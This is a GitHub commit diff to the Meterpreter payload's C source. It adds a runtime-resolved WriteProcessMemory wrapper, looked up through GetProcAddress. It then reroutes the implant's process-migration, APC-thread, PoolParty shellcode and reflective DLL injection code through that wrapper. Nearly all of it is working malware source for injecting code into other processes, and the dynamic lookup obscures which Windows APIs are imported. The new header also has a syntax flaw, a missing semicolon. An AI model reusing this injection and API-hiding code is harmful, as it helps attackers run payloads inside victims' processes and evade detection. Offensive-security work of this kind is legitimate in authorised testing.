Skip to content

Commit 0bad5a9

Browse files
dledda-r7dledda-r7
committed
feat: initial structure to hold winapi wrappers
1 parent 11e354f commit 0bad5a9

7 files changed

Lines changed: 74 additions & 12 deletions

File tree

‎c/meterpreter/source/common/common_metapi.h‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,8 @@
55
#ifndef _METERPRETER_COMMON_METAPI_H
66
#define _METERPRETER_COMMON_METAPI_H
77

8+
#include "common_winapi.h"
9+
810
typedef struct _InjectApi
911
{
1012
DWORD(*dll)(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize);
@@ -179,6 +181,7 @@ typedef struct _MetApi
179181
InjectApi inject;
180182
DesktopApi desktop;
181183
ListApi list;
184+
WinApi winapi;
182185
#ifdef DEBUGTRACE
183186
LoggingApi logging;
184187
#endif

‎c/meterpreter/source/common/common_winapi.h‎

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
#ifndef _METERPRETER_COMMON_WINAPI_H
2+
#define _METERPRETER_COMMON_WINAPI_H
3+
4+
#include <windows.h>
5+
6+
typedef struct _WinApiKernel32 {
7+
BOOL (*WriteProcessMemory)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten)
8+
} WinApiKernel32;
9+
10+
typedef struct _WinApi {
11+
WinApiKernel32 kernel32;
12+
} WinApi;
13+
14+
15+
BOOL winapi_kernel32_WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
16+
#endif
17+

‎c/meterpreter/source/metsrv/base_dispatch.c‎

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -648,28 +648,28 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
648648
ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize;
649649
// Write the migrate stub to memory...
650650
dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength);
651-
if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
651+
if (!met_api->winapi.kernel32.WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
652652
{
653653
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed");
654654
}
655655

656656
// Write the migrate context to memory...
657657
dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize);
658-
if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL))
658+
if (!met_api->winapi.kernel32.WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL))
659659
{
660660
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed");
661661
}
662662

663663
// Write the migrate payload to memory...
664664
dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength);
665-
if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
665+
if (!met_api->winapi.kernel32.WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
666666
{
667667
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed");
668668
}
669669

670670
// finally write the configuration stub
671671
dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize);
672-
if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL))
672+
if (!met_api->winapi.kernel32.WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL))
673673
{
674674
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed");
675675
}

‎c/meterpreter/source/metsrv/base_inject.c‎

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -217,10 +217,10 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess,
217217

218218
memset( lpNopSled, 0x90, mbi.RegionSize );
219219

220-
if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) )
220+
if( !met_api->winapi.kernel32.WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) )
221221
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" )
222222

223-
if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) )
223+
if( !met_api->winapi.kernel32.WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) )
224224
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" )
225225

226226
free( lpNopSled );
@@ -258,11 +258,11 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess,
258258
dprintf( "[INJECT] -- dwMeterpreterArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", ( dwMeterpreterArch == 2 ? "x64" : "x86" ), lpRemoteApcStub, lpRemoteApcContext );
259259

260260
// Write the apc stub to memory...
261-
if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) )
261+
if( !met_api->winapi.kernel32.WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) )
262262
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" )
263263

264264
// Write the apc context to memory...
265-
if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) )
265+
if( !met_api->winapi.kernel32.WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) )
266266
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" )
267267

268268
do
@@ -554,11 +554,11 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
554554
BREAK_ON_ERROR("[INJECT][inject_via_poolparty] VirtualAllocEx failed!");
555555
}
556556

557-
if (!WriteProcessMemory(hProcess, lpPoolPartyStub, lpStub, dwStubSize, NULL)) {
557+
if (!met_api->winapi.kernel32.WriteProcessMemory(hProcess, lpPoolPartyStub, lpStub, dwStubSize, NULL)) {
558558
BREAK_ON_ERROR("[INJECT][inject_via_poolparty] Cannot write custom shellcode!");
559559
}
560560

561-
if (!WriteProcessMemory(hProcess, (BYTE *)lpPoolPartyStub + dwStubSize, &ctx, sizeof(POOLPARTYCONTEXT), NULL)) {
561+
if (!met_api->winapi.kernel32.WriteProcessMemory(hProcess, (BYTE *)lpPoolPartyStub + dwStubSize, &ctx, sizeof(POOLPARTYCONTEXT), NULL)) {
562562
BREAK_ON_ERROR("[INJECT][inject_via_poolparty] Cannot write poolparty shellcode prologue!");
563563
}
564564

@@ -662,7 +662,7 @@ DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD
662662
if (!lpRemoteArg)
663663
BREAK_ON_ERROR("[INJECT] inject_dll. VirtualAllocEx 1 failed");
664664

665-
if (!WriteProcessMemory(hProcess, lpRemoteArg, lpArg, stArgSize, NULL))
665+
if (!met_api->winapi.kernel32.WriteProcessMemory(hProcess, lpRemoteArg, lpArg, stArgSize, NULL))
666666
BREAK_ON_ERROR("[INJECT] inject_dll. WriteProcessMemory 1 failed");
667667
}
668668
else
@@ -678,7 +678,7 @@ DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD
678678
BREAK_ON_ERROR("[INJECT] inject_dll. VirtualAllocEx 2 failed");
679679

680680
// write the image into the host process...
681-
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLength, NULL))
681+
if (!met_api->winapi.kernel32.WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLength, NULL))
682682
BREAK_ON_ERROR("[INJECT] inject_dll. WriteProcessMemory 2 failed");
683683

684684
// add the offset to ReflectiveLoader() to the remote library address...

‎c/meterpreter/source/metsrv/metapi.c‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -147,6 +147,13 @@ MetApi api_instance = {
147147
list_shift,
148148
list_destroy,
149149
},
150+
// WinApi
151+
{
152+
// Kernel32
153+
{
154+
winapi_kernel32_WriteProcessMemory
155+
}
156+
},
150157
#ifdef DEBUGTRACE
151158
// LoggingApi
152159
{

‎c/meterpreter/source/metsrv/winapi.c‎

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
#ifndef _METERPRETER_WINAPI_H
2+
#define _METERPRETER_WINAPI_H
3+
4+
#include <windows.h>
5+
6+
#define KERNEL32_DLL "kernel32.dll"
7+
#define NTDLL_DLL "ntdll.dll"
8+
9+
void *GetFunction(LPCSTR lpModuleName, LPCSTR lpFunctionName) {
10+
HMODULE hModule;
11+
hModule = GetModuleHandleA(lpModuleName);
12+
if(hModule == NULL) {
13+
hModule = LoadLibraryA(lpModuleName);
14+
}
15+
if(hModule != NULL) {
16+
return GetProcAddress(hModule, lpFunctionName);
17+
}
18+
return NULL;
19+
}
20+
21+
BOOL winapi_kernel32_WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten) {
22+
BOOL (*pWriteProcessMemory)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten) = GetFunction(KERNEL32_DLL, "WriteProcessMemory");
23+
if(pWriteProcessMemory) {
24+
return pWriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten);
25+
}
26+
return FALSE;
27+
}
28+
29+
#endif

‎c/meterpreter/source/metsrv/winapi.h‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
#ifndef _METERPRETER_WINAPI_H
2+
#define _METERPRETER_WINAPI_H
3+
4+
#include "common_winapi.h"
5+
6+
#endif

0 commit comments

Comments
 (0)